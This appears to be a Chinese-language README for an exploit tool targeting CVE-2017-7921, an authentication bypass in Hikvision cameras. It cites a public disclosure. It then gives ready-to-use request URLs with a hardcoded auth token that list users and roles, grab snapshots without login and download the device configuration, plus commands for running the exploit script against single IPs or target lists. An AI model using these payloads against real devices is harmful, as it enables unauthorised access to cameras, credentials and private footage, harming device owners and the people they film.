CVE-2017-7921 漏洞利用

在海康威视 设备中发现了一个不正确的身份验证问题。

​ 不正确的身份验证漏洞发生在应用程序未能充分或正确地验证用户身份时。

​ 这可能导致恶意用户提升其在系统上的权限并获取敏感信息。

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ 漏洞详细信息：

​ ----------------------

​ 获取所有用户及其角色列表：

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ 无需身份验证即可获取摄像机快照：

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ 最糟糕的是，可以下载摄像机配置：

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

安装依赖

python3 -m pip install -r requirements.txt

用法

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

截图